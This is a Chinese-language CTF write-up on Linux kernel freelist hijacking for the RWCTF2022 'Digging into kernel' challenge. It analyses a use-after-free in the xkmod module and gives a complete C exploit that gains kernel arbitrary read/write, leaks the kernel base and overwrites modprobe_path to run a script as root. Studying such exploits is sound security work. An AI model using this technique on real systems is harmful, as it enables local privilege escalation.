跳转至

freelist 劫持

與用戶態 glibc 中分配 fake chunk 後覆寫 __free_hook 這樣的手法類似,我們同樣可以通過覆寫 freelist 中的 next 指針的方式完成內核空間中任意地址上的對象分配,並修改內核當中一些有用的數據以完成提權(例如一些函數表等)。

例題:RWCTF2022高校賽 - Digging into kernel 1 & 2

兩道題目實際上是同一道題,因爲第一題由於啓動腳本漏洞所以可以直接拿 flag所以第二道題其實是對第一道題目的腳本的修復

題目分析

首先查看啓動腳本

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
    -cpu kvm64,+smep,+smap \
    -monitor null \
    --nographic

開啓了 smep 和 smap,這裏出題人將 kaslr 寫成了 kalsr,不過並不影響 kaslr 的默認開啓。

查看 /sys/devices/system/cpu/vulnerabilities/*,發現開啓了 KPTI:

/home $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

題目給出了一個 xkmod.ko 文件,按照慣例這應當就是有漏洞的 LKM,拖入 IDA 進行分析。

在模塊載入時會新建一個 kmem_cache 叫 "lalala",對應 object 大小是 192,這裏我們注意到後面三個參數都是 0 ,對應的是 align(對齊)、flags(標誌位)、ctor(構造函數),由於沒有設置 SLAB_ACCOUNT 標誌位故該 kmem_cache 會默認與 kmalloc-192 合併

int __cdecl xkmod_init()
{
  kmem_cache *v0; // rax

  printk(&unk_1E4);
  misc_register(&xkmod_device);
  v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
  buf = 0LL;
  s = v0;
  return 0;
}

定義了一個常規的菜單堆,給了分配、編輯、讀取 object 的功能,這裏的 buf 是一個全局指針,我們可以注意到 ioctl 中所有的操作都沒有上鎖

void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // [rsp+0h] [rbp-20h] BYREF
  unsigned int v4; // [rsp+8h] [rbp-18h]
  unsigned int v5; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v6; // [rsp+10h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  if ( a3 )
  {
    copy_from_user(&v3, a3, 16LL);
    if ( a2 == 107374182 )
    {
      if ( buf && v5 <= 0x50 && v4 <= 0x70 )
      {
        copy_from_user((char *)buf + (int)v4, v3, (int)v5);
        return;
      }
    }
    else
    {
      if ( a2 != 125269879 )
      {
        if ( a2 == 17895697 )
          buf = (void *)kmem_cache_alloc(s, 3264LL);
        return;
      }
      if ( buf && v5 <= 0x50 && v4 <= 0x70 )
      {
        copy_to_user(v3, (char *)buf + (int)v4);
        return;
      }
    }
    xkmod_ioctl_cold();
  }
}

我們應當傳入如下結構體:

struct Data
{
    size_t *ptr;
    unsigned int offset;
    unsigned int length;
}data;

漏洞點主要在關閉設備文件時會釋放掉 buf,但是沒有將 buf 指針置 NULL,只要我們同時打開多個設備文件便能完成 UAF

int __fastcall xkmod_release(inode *inode, file *file)
{
  return kmem_cache_free(s, buf);
}

基本上等於復刻 CISCN-2017 的 babydrive...

漏洞利用

我們有着一個功能全面的“堆面板”,還擁有着近乎可以無限次利用的 UAF,我們已經可以在內核空間中爲所欲爲了(甚至不需要使用 ioctl 未上鎖的漏洞),因此解法也是多種多樣的。

Step.I - 實現內核任意地址讀寫

我們先看看能夠利用 UAF 獲取到什麼信息,經筆者多次嘗試可以發現當我們將 buf 釋放掉之後讀取其中數據時其前 8 字節都是一個位於內核堆上的指針,但通常有着不同的頁內偏移,這說明:

  • 該 kmem_cache 的 offset 爲 0
  • 該 kernel 未開啓 HARDENED_FREELIST 保護
  • 該 kernel 開啓了 RANDOM_FREELIST 保護

freelist 隨機化保護並非是一個運行時保護,而是在爲 slub 分配頁面時會將頁面內的 object 指針隨機打亂,但是在後面的分配釋放中依然遵循着後進先出的原則,因此我們可以先獲得一個 object 的 UAF,修改其 next 爲我們想要分配的地址,之後我們連續進行兩次分配便能夠成功獲得目標地址上的 object ,實現任意地址讀寫

但這麼做有着一個小問題,當我們分配到目標地址時目標地址前 8 字節的數據會被寫入 freelist,而這通常並非一個有效的地址,從而導致 kernel panic,因此我們應當儘量選取目標地址往前的一個有着 8 字節 0 的區域,從而使得 freelist 獲得一個 NULL 指針,促使 kmem_cache 向 buddy system 請求一個新的 slub,這樣就不會發生 crash。

可能有細心的同學發現了:原來的 slub 上面還有一定數量的空閒 object,直接丟棄的話會導致內存泄漏的發生,但首先這一小部分內存的泄露並不會造成負面的影響,其次這也不是我們作爲攻擊者應該關注的問題(笑)

Step.II - 泄露內核基地址

接下來我們考慮如何泄露內核基址,雖然題目新建的 kmem_cache 會默認與 kmalloc-192 合併,但爲了還原出題人原始意圖,我們還是將其當作一個獨立的 kmem_cache 來完成利用。

在內核“堆基址”(page_offset_base) + 0x9d000 處存放着 secondary_startup_64 函數的地址,而我們可以從 free object 的 next 指針獲得一個堆上地址,從而去猜測堆的基址,之後分配到一個 堆基址 + 0x9d000 處的 object 以泄露內核基址,這個地址前面剛好有一片爲 NULL 的區域方便我們分配。

若是沒有猜中,筆者認爲直接重試即可,但這裏需要注意的是我們不能夠直接退出,而應當保留原進程的文件描述符打開,否則會在退出進程時觸發 slub 的 double free 檢測,不過經筆者測驗大部分情況下都能夠猜中堆基址。

Step.III - 修改 modprobe_path 以 root 執行程序

接下來我們考慮如何通過任意地址寫完成利用,比較常規的做法是覆寫內核中的一些全局的可寫的函數表(例如 n_tty_ops)來劫持內核執行流,這裏筆者選擇覆寫 modprobe_path 從而以 root 執行程序。

當我們嘗試去執行(execve)一個非法的文件(file magic not found),內核會經歷如下調用鏈:

entry_SYSCALL_64()
    sys_execve()
        do_execve()
            do_execveat_common()
                bprm_execve()
                    exec_binprm()
                        search_binary_handler()
                            __request_module() // wrapped as request_module
                                call_modprobe()

其中 call_modprobe() 定義於 kernel/kmod.c,我們主要關注這部分代碼(以下來着內核源碼5.14):

static int call_modprobe(char *module_name, int wait)
{
    //...
    argv[0] = modprobe_path;
    argv[1] = "-q";
    argv[2] = "--";
    argv[3] = module_name;  /* check free_modprobe_argv() */
    argv[4] = NULL;

    info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                     NULL, free_modprobe_argv, NULL);
    if (!info)
        goto free_module_name;

    return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
    //...

在這裏調用了函數 call_usermodehelper_exec()modprobe_path 作爲可執行文件路徑以 root 權限將其執行,這個地址上默認存儲的值爲/sbin/modprobe

我們不難想到的是:若是我們能夠劫持 modprobe_path,將其改寫爲我們指定的惡意腳本的路徑,隨後我們再執行一個非法文件,內核將會以 root 權限執行我們的惡意腳本

EXPLOIT

最後的 exp 如下:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>

#define MODPROBE_PATH 0xffffffff82444700

struct Data
{
    size_t *ptr;
    unsigned int offset;
    unsigned int length;
};

#define ROOT_SCRIPT_PATH  "/home/getshell"
char root_cmd[] = "#!/bin/sh\nchmod 777 /flag";

/* bind the process to specific core */
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void errExit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void allocBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x1111111, data);
}

void editBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x6666666, data);
}

void readBuf(int dev_fd, struct Data *data)
{
    ioctl(dev_fd, 0x7777777, data);
}

int main(int argc, char **argv, char **envp)
{
    int dev_fd[5], root_script_fd, flag_fd;
    size_t kernel_heap_leak, kernel_text_leak;
    size_t kernel_base, kernel_offset, page_offset_base;
    char flag[0x100];
    struct Data data;

    /* fundamental works */
    bindCore(0);

    for (int i = 0; i < 5; i++) {
        dev_fd[i] = open("/dev/xkmod", O_RDONLY);
    }

    /* create fake modprobe_path file */
    root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT);
    write(root_script_fd, root_cmd, sizeof(root_cmd));
    close(root_script_fd);
    system("chmod +x " ROOT_SCRIPT_PATH);

    /* construct UAF */
    data.ptr = malloc(0x1000);
    data.offset = 0;
    data.length = 0x50;
    memset(data.ptr, 0, 0x1000);

    allocBuf(dev_fd[0], &data);
    editBuf(dev_fd[0], &data);
    close(dev_fd[0]);

    /* leak kernel heap addr and guess the page_offset_base */
    readBuf(dev_fd[1], &data);
    kernel_heap_leak = data.ptr[0];
    page_offset_base = kernel_heap_leak & 0xfffffffff0000000;

    printf("[+] kernel heap leak: 0x%lx\n", kernel_heap_leak);
    printf("[!] GUESSING page_offset_base: 0x%lx\n", page_offset_base);

    /* try to alloc fake chunk at (page_offset_base + 0x9d000 - 0x10) */
    puts("[*] leaking kernel base...");

    data.ptr[0] = page_offset_base + 0x9d000 - 0x10;
    data.offset = 0;
    data.length = 8;

    editBuf(dev_fd[1], &data);
    allocBuf(dev_fd[1], &data);
    allocBuf(dev_fd[1], &data);

    data.length = 0x40;
    readBuf(dev_fd[1], &data);
    if ((data.ptr[2] & 0xfff) != 0x30) {
        printf("[!] invalid data leak: 0x%lx\n", data.ptr[2]);
        errExit("\033[31m\033[1m[x] FAILED TO HIT page_offset_base! TRY AGAIN!");
    }

    kernel_base = data.ptr[2] - 0x30;
    kernel_offset = kernel_base - 0xffffffff81000000;
    printf("\033[32m\033[1m[+] kernel base:\033[0m 0x%lx\n", kernel_base);
    printf("\033[32m\033[1m[+] kernel offset:\033[0m 0x%lx\n", kernel_offset);

    /* hijack the modprobe_path, we'll let it requesting new slub page for it */
    puts("[*] hijacking modprobe_path...");

    allocBuf(dev_fd[1], &data);
    close(dev_fd[1]);

    data.ptr[0] = kernel_offset + MODPROBE_PATH - 0x10;
    data.offset = 0;
    data.length = 0x8;

    editBuf(dev_fd[2], &data);
    allocBuf(dev_fd[2], &data);
    allocBuf(dev_fd[2], &data);

    strcpy((char *) &data.ptr[2], ROOT_SCRIPT_PATH);
    data.length = 0x30;
    editBuf(dev_fd[2], &data);

    /* trigger the fake modprobe_path */
    puts("[*] trigerring fake modprobe_path...");

    system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
    system("chmod +x /home/fake");
    system("/home/fake");

    /* read flag */
    memset(flag, 0, sizeof(flag));

    flag_fd = open("/flag", O_RDWR);
    if (flag_fd < 0) {
        errExit("failed to chmod flag!");
    }

    read(flag_fd, flag, sizeof(flag));
    printf("\033[32m\033[1m[+] Got flag: \033[0m%s\n", flag);

    return 0;
}